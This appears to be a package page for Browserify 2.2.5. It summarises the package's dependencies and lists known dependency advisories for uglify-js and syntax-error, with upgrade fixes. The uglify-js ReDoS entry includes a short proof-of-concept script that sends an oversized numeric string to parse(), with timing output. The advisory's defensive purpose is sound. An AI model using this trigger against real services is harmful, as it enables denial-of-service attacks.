Browserify version 2.2.5 is a minor update to the popular JavaScript module bundler, building upon the solid foundation of version 2.2.4. Both versions share the same core functionality, allowing developers to write Node.js-style modules that run seamlessly in the browser. They include essential dependencies like through for stream manipulation, duplexer for creating duplex streams, and module-deps for analyzing module dependencies, ensuring a robust and efficient bundling process. The use of optimist for command-line argument parsing also remains consistent, providing a familiar interface for configuring Browserify.
The primary difference lies in the release date, with version 2.2.5 being released shortly after 2.2.4. This suggests that 2.2.5 may contain bug fixes or minor improvements without introducing significant new features or breaking changes. For developers already using Browserify 2.2.4, upgrading to 2.2.5 is likely a safe and recommended step to benefit from any potential stability enhancements. Both versions rely on tested development dependencies such as seq, tap, dnode, mkdirp and backbone for testing and build processes. When choosing a version, developers should check release notes and commit logs for any details not included in the package metadata to ensure maximum efficiency.
All the vulnerabilities related to the version 2.2.5 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Potential for Script Injection in syntax-error
Versions of syntax-error prior to 1.1.1 are affected by a cross-site scripting vulnerability which may allow a malicious file to execute code when browserified.
Update to version 1.1.1 or later.